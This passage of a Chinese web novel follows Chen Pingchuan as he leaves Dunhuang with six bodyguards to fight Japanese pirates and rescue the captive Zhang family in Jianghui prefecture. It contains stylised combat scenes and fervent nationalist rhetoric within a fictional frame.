铁牛只觉得一股寒气,从脚底板,直冲天灵盖,让他浑身的汗毛,都倒竖了起来。 他毫不怀疑,此刻的陈平川,如果想杀人,只需要一个念头。 “倭……寇……” “梁……家……” 陈平川从牙缝里,一个字一个字地,挤出了这两个名字。 新仇!旧恨! 在这一刻,尽数涌上了他的心头! 他的脑海里,闪过了那个总是跟在他屁股后面,憨头憨脑地,一口一个“大哥”叫着的胖小子,张金宝。 闪过了那个虽然市侩,虽然眼里只有钱,却总是在关键时刻,第一个站出来,无条件支持他的胖财主,张盛财。 他更想起了张静姝。 那个刁蛮任性,那个古灵精怪,那个总是和他斗嘴,却又对他情根深种的女孩。 他无法想象,当她写下那一行绝笔字时,内心,是何等的痛苦和绝望。 一想到她那张憔悴的小脸,一想到她可能真的会做傻事,陈平川的心,痛得几乎无法呼吸。 “啊——!” 他猛地站起身,仰天发出一声压抑不住的怒吼! 吼声中,充满了无尽的愤怒和杀意! 他像一头被困的猛兽,在房间里,来回踱步,双拳捏得咔咔作响。 大脑,在这一刻,以前所未有的速度,飞速运转。 救! 必须救! 不惜一切代价,也要把人救回来! 这不仅仅是为了张金宝,为了张盛财,为了那个傻丫头张静姝。 更是为了,江徽府千千万万,正在被倭寇荼毒的,无辜百姓! 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第272章 杀鬼子,何须千军万马! 前世,陈平川就是一个热血青年。 对于古代,倭寇在沿海犯下的种种暴行,他便深恶痛绝! 更对后世,那些在中国大地上,烧杀抢掠,无恶不作的日寇,恨之入骨! 他曾经无数次地幻想过,如果自己能回到那个年代,一定要亲手,将那些畜生,一个个,全部送进地狱! 如今,机会真的来了! 他可以亲手为自己的同胞们,报仇雪恨! 这个机会,他怎么能错过? 良久,陈平川终于停下了脚步。 他胸中的狂怒,渐渐被一种更加冰冷的冷静所取代。 那双赤红的眼睛,也恢复了往日的清明。 但那份冷静之下,却隐藏着更加汹涌,更加致命的惊涛骇浪。 “铁牛哥,哑巴叔。” 陈平川转过身,看着两人,声音平静,却带着一股不容置疑的决断。 “辛苦你们了。” “你们先去客房休息,好好休整一下。” “此事,我已有决断。” 铁牛看着他冷酷的样子,虽然心里还是有些发怵,但更多的是一种莫名的兴奋和激动。 他咧开大嘴,露出一口白牙,一拍胸脯。 “我就知道你小子,肯定不会不管!” “要去干他娘的,算我一个!老子这把斧头,早就渴了!” 陈平川却摇了摇头。 “不。” “你们的任务,更加重要。” “你们必须立刻启程,返回黑风寨。告诉三娘,告诉我的家人,告诉张伯母,让他们安心。” “告诉他们,我陈平川,在此立誓。” “不救回张伯父和金宝,不杀光那帮倭寇,我,誓不为人!” “另外,”他的眼神变得无比锐利,“帮我保护好张家女眷,尤其是静姝,绝对,绝对不能再出任何差错!” “我怕她一时想不开……我会后悔一辈子!” 铁牛和哑巴叔看着他眼中的决绝,两人对视一眼,重重地点了点头。 “好!我们听你的!” “你小子,自己也多加小心!” …… 第二天一早。 陈平川便请来张烈、祝衡和阿丽娜,在军师府的议事大厅,开了一个紧急会议。 他没有丝毫的隐瞒,将中原发生的事情,以及张家的遭遇,全盘托出。 听完他的叙述,张烈和祝衡,都是勃然大怒! “岂有此理!”张烈一拍桌子,须发皆张,“这帮倭寇,简直是无法无天!该杀!” 他虽然身在西域,但经常从商队口里听闻东南沿海,常有倭寇作乱,烧杀抢掠,无恶不作,没想到,如今竟猖獗至此! 祝衡也是脸色铁青,眼中杀机毕露:“梁家!又是梁家!这帮国贼,不除不快!” 阿丽娜虽然对中原的事情不太了解,但她看着陈平川那阴沉的脸色,也知道,能让他如此震怒的,必然是天大的事情。 “军师,你打算怎么做?”张烈看着陈平川,沉声问道。 陈平川站起身,目光扫过在场的三人,语气斩钉截铁。 “我要去一趟江徽府。” “救人!” “杀倭寇!” 此言一出,大厅内,瞬间陷入了一片寂静。 张烈第一个反应过来,脸色大变。 “不行!绝对不行!” 他断然喝道:“军师!你疯了不成?江徽府远在千里之外,你如何去得?” “如今我们归义军,刚刚在西域站稳脚跟,吐蕃和回鹘,对我们依旧是虎视眈眈。你,是我们的主心骨,是我们归义军的定海神针!你怎么能在这个时候,轻易离开,以身涉险?” 祝衡也皱起了眉头,语气中充满了担忧。 “平川,我理解你的心情,你重情重义,我们都知道。” “但这并非你一人之事。江徽府鱼龙混杂,倭寇更是凶残狡猾,你一个人去,太危险了。” “如果你坚持要去……不如这样,”他沉吟道,“我亲自挑选一支白羚部的精锐骑兵,个个都是以一当十的好手,让他们随你同去!也好有个照应!” 陈平川看着他们关切的眼神,心中一暖,但还是毫不犹豫地,断然拒绝了。 “不行!” “归义军,白羚部,是我们好不容易才在西域打下的根基。一兵一卒,都不能轻动!” “我们现在,就像是站在悬崖边上,稍有不慎,就会粉身碎骨。绝对不能因为我个人的私事,而动摇根本。” “况且,”他继续说道,“江徽府地处东南沿海,海河密布,地势复杂,骑兵去了,根本施展不开,反而会成为累赘。” 他顿了顿,眼中闪过一丝睥睨天下的傲然。 “而且,对付区区一群,只敢在海上称王称霸的老鼠。” “还用不着,归义军的千军万马!” 他转过身,对着空无一人的大厅门口,沉声喝道: “暗影六子,何在?!” 话音刚落。 六道身影,如同从空气中浮现的鬼魅,悄无声息地,出现在大厅之内。 他们齐齐单膝跪地,动作整齐划一,没有发出一丝声响。 这章没有结束,请点击下一页继续阅读!“属下在!” 张烈、祝衡和阿丽娜三人,被这突如其来的一幕,惊得齐齐从座位上站了起来! 他们瞪大了眼睛,看着大厅中央,那突然出现的六个人,脸上写满了惊疑和戒备。 这些人,是什么时候进来的? 他们竟然,没有丝毫的察觉! 门外的守卫是干什么饭吃的? 张烈和祝衡,更是心头剧震。 他们看得出,这六个人,绝非等闲之辈! 虽然他们一个个,高矮胖瘦,男女老少,各不相同,看起来,就像是市井街头,最普通不过的贩夫走卒。 但他们身上,那股若有若无的,冰冷而凝实的肃杀之气,却是装不出来的,只有真正从尸山血海中爬出来的人,才能拥有! 尤其是他们看向陈平川时,那眼神中的狂热和绝对服从,更是让人心惊。 “他们是……”张烈喉结滚动了一下,惊疑不定地看向陈平川。 “我的亲卫。”陈平川的语气,平淡得,仿佛在介绍几个普通的家丁,“我叫他们‘暗影六子’。” “这次东行,我只带他们六个,就足够了。” “不行!” 张烈想也不想,第一个开口反对,声音斩钉截铁。 “军师!我绝不同意!” “倭寇凶残,党羽众多,在江徽府经营多年,势力盘根错节!你们区区七个人,就想去闯他们的龙潭虎穴?” “这和送死,有什么区别?这无异于以卵击石!” 祝衡也紧锁着眉头,脸上写满了担忧。 “平川,你不要意气用事,三思而后行!” “你若是有个三长两短,我们好不容易才创下的这番基业,岂不是全都付诸东流了?” 阿丽娜也急切地说道:“陈军事,我知道你本事大。但是,多带些人手,总归是更稳妥一些!” 陈平川看着他们焦急的模样,忽然笑了。 他没有再争辩,而是缓缓走到张烈面前,停下脚步。 他什么也没说,只是抬起头,用那双清澈而深邃的眼睛,静静地,直视着这位满头白发的老将军。 “张将军。你,相信我吗?” 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第273章 杀尽倭寇,祭我国旗! 张烈被他问得,当场一愣。 他看着眼前这张,英气勃勃的年轻脸庞。 他的脑海里,不由自主地,浮现出一幕幕画面。 想起他,是如何在归义军最危难的时刻,临危受命,以神鬼莫测之计,谈笑间,便让三万吐蕃大军,灰飞烟灭。 想起他,是如何化解了归义军内部,那场几乎要分崩离析的巨大危机,让所有人,都重新拧成了一股绳。 想起他,是如何用那匪夷所思的“雪花盐”,为归义军带来了源源不断的财富,让士兵们穿上了新甲,换上了利刃。 这个年轻人,来到敦煌,不过短短一年多的时间。 他所创造的奇迹,比他张烈,这几十年来见过的,都要多。 他,有什么理由,不相信他? 陈平川又转过身,看向祝衡。 “王爷。” “你,相信我吗?” 祝衡看着他,眼神复杂。 他想起了自己,是如何从一个亡命天涯,心若死灰的丧家之犬。 到如今,成为了白羚部的王,找到了新的责任,重获了新生。 这一切的一切,都是拜眼前这个年轻人所赐。 他不仅是自己的救命恩人,更是自己的知己,是自己后半生,最值得信赖的伙伴。 他,又有什么理由,不相信他? 陈平川的目光,最后落在了阿丽娜的身上。 “王后,你呢?” 阿丽娜看着他,这个男人,救了她的部落,救了她的族人,还让她,找到了自己一生的挚爱。 她用力地点了点头。 “我信!” 陈平川笑了。 他转过身,重新面向众人,语气依旧平静,却带着一种尽在掌握的强大自信。 “我陈平川,从不做没有把握的事情。” “我说过,要建立一个属于我们汉人自己的国度。让我们的子孙后代,再也不受异族的欺凌,可以堂堂正正地,站在这片土地上。” “这个承诺,在我处理完我的家事之后,就会回来,亲手兑现。” 他的声音,陡然拔高,如同金石交击,掷地有声! “区区一群东瀛倭寇,不过是我建国路上,几块微不足道的绊脚石!” “正好,拿他们的人头,来祭我的建国大旗!” 这番话,说得何等的豪气干云! 这份睥睨天下的自信和霸气,深深地震撼了在场的每一个人! 张烈和祝衡对视了一眼。 他们都从对方的眼中,看到了同样的震撼和信服。 是啊。 他们怎么忘了。 眼前的这个年轻人,从来就不能用常理来揣度。 他本身,就是一个奇迹! 张烈长长地,吐出了一口气,仿佛将心中所有的担忧都吐了出去。 他脸上的凝重,消失不见,取而代之的是一种前所未有的决然。 他不再反对了。 他知道,自己根本无法阻止一头即将要下山捕食的猛虎。 他唯一能做的,就是相信他。 然后,为他磨亮爪牙。 张烈缓缓地,走上前。 在所有人注视下,他做出了一个,让陈平川都感到意外的举动。 他解下了自己腰间,那柄跟随了他征战半生,斩敌无数的佩剑。 这是一柄古朴的汉剑,剑鞘由鲨鱼皮包裹,剑柄上镶嵌着温润的玉石,虽然历经岁月,却依旧锋芒内敛。 “军师。” 张烈双手捧着宝剑,神情肃穆,郑重地,将其递到陈平川的面前。 “此剑,名曰‘破虏’。” “是我张家的传家之宝,从我祖父张议创下归义军基业起,便随我张家三代人,征战沙场,保家卫国。” “今日,我将它,赠予你。” 他的声音无比的沉重,也无比的坚定。 “望你此行,能持此剑,荡平东瀛倭寇,扬我汉人天威!” 陈平川看着眼前的宝剑,看着张烈那双充满信任和期盼的眼睛,心中一股热血,直冲头顶。 他知道,张烈送出的,不仅仅是一把剑。 更是一份沉甸甸的信任,一份重于泰山的托付。 这意味着,从这一刻起,这位归义军的统帅,已经将他当成了可以托付一切的,真正的自己人。 “谢将军!” 陈平川没有推辞,他伸出双手,郑重地,接过了这柄“破虏”剑。 剑身入手,一股冰凉而沉重的感觉,顺着手臂,直达心底。 他能感觉到,这柄剑里,蕴含着张家三代人,保卫家国,驱逐外虏的不屈战魂! “将军放心!” 陈平川手握长剑,对着张烈,郑重地承诺:“平川必不辱没此剑威名!” 祝衡也走上前来,他没有多说什么,只是伸出手,重重地,拍了拍陈平川的肩膀。 他的手,很有力。 “去吧!” 他的声音,低沉而有力。 “家里的事,不用担心。” “有我和张将军在,敦煌,乱不了。” “这里,永远是你的后盾!” 他顿了顿,眼神变得无比认真。 本小章还未完,请点击下一页继续阅读后面精彩内容!“但是,你也要答应我们一件事。” “必须,活着回来!” 陈平川看着他,又看了看一旁,同样眼含期盼的阿丽娜和张烈。 他重重地点了点头。 “一言为定!” …… 三日后,清晨。 敦煌城外,狂风肆虐,卷起漫天黄沙。 张烈、祝衡、阿丽娜、昭华郡主,以及归义军的一众高级将领,都来为陈平川送行。 没有繁琐的仪式,也没有多余的废话。 只有一碗碗,盛满了离别与祝福的烈酒。 张烈亲自端起一个大陶碗,为陈平川斟满了酒。 酒液浑浊,却带着一股粮食的醇香。 “军师,保重!” 他举起酒碗,对着陈平川,沉声说道。 陈平川端起自己的碗,与他重重一碰。 “将军,等我好消息!” 说罢,他仰起头,将碗中烈酒,一饮而尽! 然后,他手腕一翻,将那只陶碗,狠狠地,摔在了地上! “啪!” 陶碗,碎裂成无数片。 壮士出征,义无反顾! 他又看向祝衡和阿丽娜,脸上露出了轻松的笑容。 “王爷,王后,我不在的这段时日,敦煌的军政事务,就要多劳烦二位了。” 阿丽娜也端着一碗酒,走上前来。 她那双明亮的眼睛,看着陈平川,充满了感激和信任。 “陈军事,你尽管放心去。” “你救了我们白羚部,就是我们全族的大恩人。你的事,就是我们的事。” “谁敢在你走后,在敦煌捣乱,我阿丽娜的弯刀,第一个不答应!” 她也学着陈平川的样子,将碗中酒一饮而尽,摔碎在地。 巾帼不让须眉,豪气干云。 最后,是昭华郡主。 她不会饮酒,她走到陈平川面前,脸颊微红,低着头,不敢看他的眼睛。 “平川……” 她还是习惯,这样称呼他。 “此去,路途遥远,千山万水,万望……万望珍重。” 陈平川能感觉到,这个女孩对他那份深藏心底的情意。 他郑重地点了点头。 “郡主放心,我会照顾好自己。” “我,我等你回来。”昭华郡主鼓起勇气,抬起头,看着他的眼睛,轻声,却无比坚定地说道。 陈平川心中一动,对她露出了一个温和的笑容。 他转过身,面向所有前来送行的人,郑重地,抱拳一揖。 “诸位,就此别过!” “后会有期!” 说罢,他再不回头,翻身上了一匹早已备好的黑色骏马。 他身后,“暗影六子”也纷纷上马,动作整齐划一,没有发出半点多余的声响。 “驾!” 陈平川双腿一夹马腹,黑色骏马,发出一声长嘶,四蹄翻飞,朝着东方,绝尘而去。 七骑,如同一支离弦的箭,很快,便消失在了漫漫黄沙的地平线尽头。 另一边,铁牛和哑巴叔,也与众人告辞。 他们将朝着另一个方向,返回中原的黑风寨复命。 铁牛看着陈平川离去的方向,那张粗犷的脸上,难得的,没有了往日的挤兑和不屑。 他只是低声,对着身旁的哑巴叔,嘟囔了一句。 “这小子,是去干大事的。” “希望他,好好地活着回来。” 哑巴叔没有说话,只是默默地点了点头。 他的眼神里,也带着一丝旁人不易察觉的凝重和期盼。 …… 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第274章 英雄?不,在他们眼里我是瘟神! 与此同时。 就在陈平川一行人,离开敦煌不久。 远在千里之外的,江徽府。 茫茫东海之上,一座被浓雾终年笼罩,戒备森严的荒岛。 岛屿的中心,一座用巨石和木头搭建的寨子里。 一个身材矮小,穿着一身黑色武士服,脸上带着一道狰狞刀疤的独眼倭寇头目,正坐在虎皮大椅上。 他的手里,正把玩着一块鹅卵石,上面画着美猴王,惟妙惟肖。 这是他从那个叫张金宝的胖子身上,搜出来的。 “头领。” 一个手下,躬身走了进来。 “中原那边,有消息吗?”独眼倭寇头目,用生硬的汉话,冷冷地问道。 “有的,头领。”手下回答道,“他们请求我们再宽限些时日,好筹集钱财。看来,这二十万两银子对于张家来说,有些吃力。” “哼。” 独眼倭寇头目,发出一声冷笑,眼中闪过一丝残忍的光芒。 他将手中的石头画,猛地捏碎! “告诉张盛财的家人,我犬养三郎再给他们最后一次机会!” “一个月!” “如果一个月后,我还是看不到二十万两白银!” “就让他们,准备收尸吧!” …… 从西域到江徽府,何止千里。 一路东行,风沙渐息,绿意渐浓。 陈平川一行人日夜兼程,足足走了大半个月,终于来到了江徽府。 在陈平川的想象中,这片大业朝最富庶的鱼米之乡,本该是小桥流水,炊烟袅袅的江南景致。 然而,当他们真正踏入江徽府的地界,看到的景象,却让所有人的心,都沉到了谷底。 田地大片大片地荒芜着,长满了半人高的野草。 本该是村落的地方,只剩下断壁残垣,被烧得焦黑的房梁,无声地诉说着曾经发生的惨剧。 甚至还能看到腐烂的尸体…… 这里不是人间天堂,而是一座被遗弃的地狱。 “主公,前面有个镇子,好像还有人烟。” 马三催马上前,指着远处海岸线上一个模糊的轮廓说道。 那是“望海镇”。 一个靠海吃海的镇子,镇上的居民,世代都是渔民。 可当他们靠近时,所有人的脸色都变了。 镇子里,火光冲天! 黑色的浓烟,直冲云霄。 凄厉的惨叫声,女人的哭喊声,孩童的惊叫声,还有一阵阵猖狂而刺耳的狞笑声,混杂在一起,隔着老远,都能清晰地传入耳中。 陈平川的瞳孔,猛地一缩。 “驾!” 他没有丝毫犹豫,双腿猛地一夹马腹,身下的黑色骏马如离弦之箭,狂奔而出。 暗影六子,紧随其后。 越是靠近,那地狱般的景象就越是清晰。 茅草搭建的屋子,被点燃,火焰吞噬着一切,将渔民们赖以为生的家园,化为一片焦土。 数十名身材矮小,穿着破烂武士服,手持明晃晃倭刀的倭寇,正在镇子里肆虐! 他们像一群闯入羊圈的恶狼,疯狂地追逐、砍杀着手无寸铁的渔民。 一个抱着孩子的母亲,跑得慢了些,被一个倭寇追上,一刀便从背后捅了个对穿。 母亲倒下了,那倭寇却狞笑着,伸手去抓那吓得失声痛哭的孩童。 “畜生!” 陈平川的牙缝里,挤出两个冰冷的字眼。 他甚至没有下令。 “咻!” 一道尖锐的破空声,撕裂了空气。 一直沉默不语的燕飞,早已在马上张弓搭箭。 那名正要对孩童下手的倭寇,脸上的狞笑还未散去,一支羽箭,便精准地从他的后心射入,穿胸而出! 他难以置信地低下头,看着胸口冒出的血色箭头,身体晃了晃,重重地倒了下去。 “吼!” 石头发出一声震天的怒吼,他直接从飞奔的马背上一跃而下,如同一颗陨石,轰然砸进一群倭寇之中。 他甚至没用武器,只是随手抄起路边一根用来支撑渔网的巨大木桩,抡圆了,狠狠地横扫出去! “砰!砰!砰!” 沉闷的骨裂声,不绝于耳。 那木桩所过之处,倭寇们如同被割倒的麦子,人仰马翻,筋断骨折。 玲儿和阿魅,则像是两道飘忽的鬼影,无声无息地潜入了混乱的战场。 玲儿的身影在屋檐和阴影中闪烁,每一次出现,都有一名倭寇捂着喉咙,悄无声息地倒下。 阿魅更是诡异,她手中似乎有无数淬了剧毒的细针,指尖轻弹,那些看似毫无防备的倭寇,便会突然面色发青,浑身抽搐着倒地,死状凄惨。 马三和全伯则护在陈平川左右,警惕着四周。 这场战斗,根本不是战斗,而是一场单方面的屠杀。 这些在渔民面前凶神恶煞的倭寇,在暗影这群杀戮者面前,脆弱得不堪一击。 不过短短一炷香的功夫,镇子里的倭寇,便被屠戮殆尽。 空气中,只剩下火焰燃烧的噼啪声,和幸存村民惊魂未定的喘息声。 本小章还未完,请点击下一页继续阅读后面精彩内容!陈平川翻身下马,缓缓走到那个被救下的孩童面前。 孩子吓得呆住了,只是睁着一双大眼睛,愣愣地看着他。 陈平川伸手,想要摸摸他的头。 然而,就在此时,一个苍老的声音,带着极致的恐惧,尖叫起来。 “别碰他!” 一个头发花白的老者,连滚带爬地从一间破屋里冲了出来,一把将孩子死死地护在身后。 他不是感激,而是用一种看瘟神般的眼神,恐惧地看着陈平川一行人。 “噗通”一声。 随后,老者竟直挺挺地跪了下来,对着陈平川,拼命地磕头。 额头撞在满是砂石的地面上,很快便血肉模糊。 “求求你们!求求你们这些杀星快走吧!” 他泣不成声,声音里充满了绝望。 “你们杀了他们……犬养三郎会派更多人来的!他……他会屠了我们全村啊!” “我们活不了了……我们都活不了了啊!” 随着他的哭喊,周围那些幸存的村民,也纷纷反应过来。 他们看着陈平川等人的眼神,没有丝毫的感激,只有深入骨髓的恐惧。 他们一个个跪倒在地,哭喊着,哀求着,仿佛陈平川他们,才是带来灾难的恶魔。 这份绝望,比倭寇的尖刀,更让陈平川心寒。 他缓缓收回了手,他以为自己是来拯救他们的英雄,可在这群早已被恐惧磨灭了所有骨气的人眼中,他们不过是引来更大灾祸的杀星。 何其可悲!何其可恨! 陈平川的胸中,燃起一股无名的怒火。 这怒火,不仅是对倭寇,更是对那个腐朽无能,任由子民被异族欺凌至此的大业朝廷! 他冰冷的目光,扫过那些跪地求饶的村民,又看了看地上倭寇的尸体。 他沉默了片刻,最终,只吐出了两个字。 “我们走。” 说完,他转身,翻身上马,再也没有回头看一眼。 七骑,再次绝尘而去,只留下一个满目疮痍的村庄,和一群在绝望中哭嚎的村民。 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第275章 打断的脊梁,我亲手来接! 夜色如墨。 一行七人,最终在远离官道的一座破败山神庙里落了脚。 庙里神像早已倾颓,蛛网遍布,只剩下一个破了洞的屋顶,还能勉强遮挡一下夜里的寒露。 石头生了一堆火,火焰跳动着,映照着每个人凝重的脸。 望海镇发生的一幕,像一块巨石,沉甸甸地压在所有人心头。 “一群……软骨头!” 马三往火堆里啐了一口,愤愤不平地骂道:“我们救了他们,他们不感恩戴德就算了,还把我们当瘟神!真是岂有此理!” “他们不是没有骨气,是骨气早就被磨没了。” 陈平川的声音很平静,他用一根树枝,拨弄着眼前的火焰。 “当恐惧成为习惯,当反抗的代价是灭亡,下跪,就成了唯一的活路。” 他抬起头,目光在六子脸上一一扫过。 “所以,我们要做的事情,不仅仅是杀光倭寇。更重要的,是把这些人被打断的脊梁骨,重新给他们接上!” 众人闻言,皆是心头一震,若有所思。 “主公,接下来我们怎么办?”沉默寡言的全伯,开口问道。 陈平川将手中的树枝,扔进火里,火苗“噼啪”一声,窜高了些许。 “想要治病,得先找到病根。” 他的目光,转向了玲儿和马三。 “马三,玲儿。” “属下在!”两人立刻应声。 “天亮之后,你们两个先进江徽府城。”陈平川吩咐道,“马三,你还是做你的老本行,扮成一个走南闯北的油滑商人,去城里最热闹的酒楼、茶肆、赌场,用你的舌头,给我把江徽府从上到下,都打听个底朝天。” “尤其是官府的态度,那个叫犬养三郎的倭寇头子,还有本地有没有其他的地头蛇,我要知道所有能知道的一切。” “得嘞!主公您就瞧好吧!”马三拍着胸脯,一脸的自信。 陈平川又看向玲儿:“玲儿,你的任务更重。白天,你是马三身边不起眼的丫鬟。到了晚上,江徽府那些高门大院的屋顶,就是你的天下。” “我要你潜进去,听一听那些官员、富商,在私底下,都说些什么。记住,安全第一,不要惊动任何人。” “是,主公。”玲儿清秀的脸上,没有丝毫表情,只是用力地点了点头。 一夜无话。 第二天一早,马三和玲儿便换了一身行头,扮作主仆,朝着江徽府城而去。 马三换上了一身绸缎衣衫,手里摇着一把折扇,脸上挂着精明而市侩的笑容,活脱脱一个发了点小财的商人。 玲儿则穿着一身粗布衣裙,跟在他身后,低着头,显得很是乖巧。 两人入城后,马三直奔城中最大的酒楼“望江楼”,要了一间上好的雅间,点了一桌子最贵的酒菜。 他出手阔绰,很快就引起了酒楼掌柜的注意。 马三借着酒劲,拉着掌柜大倒苦水,说自己是从北方来的粮商,本想来江徽府发财,结果路上遇到劫匪,亏了一大笔钱,想在府城里找点门路,看能不能把损失捞回来。 那掌柜见他是个有钱的棒槌,又听他言语间对本地的“规矩”一窍不通,便半是炫耀,半是提点地,透露了不少消息。 从掌柜的口中,马三拼凑出了江徽府的权力版图。 江徽府知府魏长明,是个有名的笑面虎,表面上仁义道德,背地里贪婪成性。他对城外的倭寇,向来是睁一只眼闭一只眼,只要不闹到府城里来,他就当没看见。甚至有传言,这位魏大人,每年都能从海盗那里,收到一笔不菲的“孝敬银子”。 而倭寇的首领,正是那个犬养三郎。此人凶残至极,盘踞在近海一座名为“黑礁岛”的岛屿上。那岛屿易守难攻,官府的水师,根本不敢靠近。 除了犬养三郎,江徽府的海上,还有另一股强大的势力。 本地最大的海盗头子,一个被人称作“海哥”的神秘人物。 据说这海哥和犬养三郎狼狈为奸,一个主内,一个主外,共同控制了江徽府的海上贸易。 除此之外,马三还打探到了一个消息。 本地的渔民,不堪其辱,曾自发组织过一个叫“船帮”的互助组织,试图抵抗倭寇。可惜屡战屡败,还被官府以“聚众滋事”的名义打压,如今已经不成气候,帮主林沧海,更是心灰意冷,退隐江湖。 夜幕降临,马三在酒楼里呼朋引伴,玲儿则如一道青烟,消失在了夜色里。 她如同一只猫,悄无声息地游走在府城的高墙之上。 在一座豪奢的宅院里,她伏在屋脊上,听到书房内,一个身穿官服的男人,正在对一个商人破口大骂。 “……这个月的孝敬,一分都不能少!别跟我哭穷!你以为这些钱,都是进我自己的口袋吗?一半要送去给魏大人,另一半,还要打点好海上的那些爷!不然你的货,能安安稳稳地出海?” 玲儿的眼神,冷了几分。 蛇鼠一窝,沆瀣一气! 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!第二天夜里,两人悄然出城,回到了山神庙,将打探到的所有情报,都汇报给了陈平川。 陈平川听完,脑海里已经勾勒出一个简单的关系图。 知府魏长明,倭寇犬养三郎,海盗海哥,三方势力,构成了一个稳固而罪恶的三角。 而那个被打压的船帮,或许,可以成为破局的关键。 “主公,还有一件事。” 马三犹豫了一下,开口说道。 “我总感觉,从我们进了望海镇开始,就一直有尾巴在跟着我们。” 陈平川抬起头,看了他一眼,嘴角露出一丝莫名的笑意。 “你才发现?” 马三一愣:“您早就知道了?” “嗯。”陈平川点了点头,“对方的跟踪技巧很高明,不像是倭寇和海盗那些蠢货,也不像是官府的探子。如果我没猜错,应该是我们那位潜在的‘盟友’。” 他话音刚落。 庙外,突然传来一阵密集的,踩在落叶上的“沙沙”声。 声音从四面八方传来,由远及近,迅速将这座小小的山神庙,包围得水泄不通! 暗影六子瞬间起身,各自抄起武器,将陈平川护在中心,眼神锐利地盯着庙外漆黑的树林。 火光下,陈平川的脸上,却不见丝毫紧张。 他只是慢条斯理地站起身,拍了拍身上的尘土,仿佛在等待着什么。 终于,一个身影,从黑暗中,缓缓走了出来。 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第276章 我斩倭寇,反倒要给你一个交代? 黑暗中,走出来的是一个身材魁梧的年轻人。 他看上去不过二十五六岁,皮肤被海风和烈日晒成了古铜色,一双眼睛,在火光的映照下,闪烁着狼一般的凶光。 他手里提着一把宽背砍刀,刀刃上还残留着暗红色的血迹。 在他身后,一道道黑影,从树林里鱼贯而出,将山神庙的出口,堵得严严实实。 这些人,足有三四十号,个个手持鱼叉、砍刀,身上带着一股浓烈的海腥味。 他们不是训练有素的士兵,但常年与风浪搏斗,让他们每个人身上,都带着一股子悍不畏死的气息。 为首的年轻人,打量着陈平川一行人,眼神里充满了戒备和敌意。 眼前这七个人,太奇怪了。 为首的少年,看起来文质彬彬,却有一股让人心悸的沉稳。 他身后的六个人,更是个个透着古怪。 有壮硕如熊的巨汉,有沉默寡言的老头,有妖娆妩媚的西域女子,还有一个眼神锐利得像鹰的少年…… 这根本就不是一路人,却偏偏站在一起,形成了一种诡异的和谐。 尤其是他们在望海镇,砍瓜切菜一般,就屠光了几十个倭寇。 这份实力,让年轻人心惊,也让他更加警惕。 “你们到底是什么人?” 年轻人终于开口了。 “来我江徽府,有何目的?是官府的狗,还是想来抢地盘的杂碎?” 他的语气充满敌意。 陈平川却像是没听到一样,他的目光,落在了年轻人裸露的胳膊上。 那里,纹着一头破浪而出的青色蛟龙。 其他几个人身上也带着同样的图案,应该是某种帮派的标志。 陈平川心里有了底,脸上却不动声色,反而轻笑了一声。 “我们是什么人,不重要。重要的是,你们是什么人?大半夜的,把我们围在这里,是想请我们喝茶吗?” 他这副有恃无恐的态度,彻底激怒了年轻人。 “少他娘的废话!” 年轻人怒喝一声,举起手中的砍刀,直指陈平川。 “我叫林勇!是船帮的少帮主!我问你,望海镇的倭寇,是不是你们杀的?” “是又如何?不是又如何?”陈平川反问。 “是你们杀的,你们就得给我们船帮一个交代!”林勇的眼睛都红了,“你们知不知道,你们杀了那几十个杂碎,犬养三郎那个畜生,绝对会派更多的人来报复!到时候,整个望海镇,都会被屠光!” 他以为陈平川他们,是过江的强龙,不懂本地的规矩,为了立威,或是想黑吃黑,才杀了那伙倭寇。 “交代?”陈平川脸上的笑容,渐渐冷了下来,“我为汉人同胞,斩杀倭寇,反倒要给你们一个交代?这是什么道理?” “道理?”林勇像是听到了天大的笑话,“在江徽府,拳头就是道理!你们有本事杀人,就要有本事承担后果!别他娘的连累我们!” 话不投机半句多。 林勇怒吼一声,不再废话,挥舞着砍刀,便朝着陈平川猛劈过来! 他要亲手试试,这伙人的斤两! 然而,陈平川连动都没动。 他身旁的石头,却猛地向前踏出一步,挡在了他的面前。 面对林勇势大力沉的一刀,石头不闪不避,甚至连眼睛都没眨一下。 他只是伸出了自己那蒲扇般的大手。 “铛!” 一声脆响! 林勇志在必得的一刀,竟被石头用肉掌,生生抓住! 刀刃距离石头的掌心,不过一寸,却再也无法前进分毫! 林勇的脸色,瞬间涨成了猪肝色。 他使出了吃奶的力气,想要将刀抽回来,可那只手,就像是一把铁钳,将他的刀,死死地锁住了! 纹丝不动! 怎么可能?! 林勇的心中,翻起了滔天巨浪! 他这一刀,足以劈开牛骨,可在这个壮汉面前,竟如同儿戏! 船帮的众人,也全都看傻了眼,一个个张大了嘴巴,不敢相信自己的眼睛。 然而,更让他们震惊的,还在后面。 石头抓住刀刃,脸上露出一丝憨厚的,似乎是觉得有些无聊的表情。 随便甩甩手,林勇便倒飞出去,被其他人架住,这才没有摔倒。 而对面,石头另一只手,在庙里一抓,竟将那尊被掀翻在地,起码有数百斤重的石香炉,单手举了起来! 就像是举起一个普通的酒坛子。 然后,他手臂一甩,轻轻一抛。 “轰!” 石香炉重重地砸在地上,整个破庙的地面,似乎都剧烈地颤动了一下,激起一片烟尘。 整个山神庙内外,瞬间陷入了一片死寂。 所有船帮的汉子,都呆立在原地。 他们看着那个壮硕如熊的男人,又看了看地上那尊巨大的石香炉,喉结上下滚动,却发不出半点声音。 这……这还是人吗? 林勇手里的刀,“哐当”一声,掉在了地上。 他脸上的凶悍和戾气,早已消失得无影无踪,取而代之的,是深深的震撼和恐惧。 本小章还未完,请点击下一页继续阅读后面精彩内容!他那点引以为傲的武力,在对方面前,简直就是个笑话。 就在这时,陈平川终于开口了。 他迈步上前,走到失魂落魄的林勇面前,脸上带着一丝玩味的笑容。 “现在,我们可以好好谈谈了吗?林少帮主。” 林勇的脸上,一阵青一阵白。 他看着陈平川那双平静无波的眼睛,只觉得一股寒气从脚底板,直冲天灵盖。 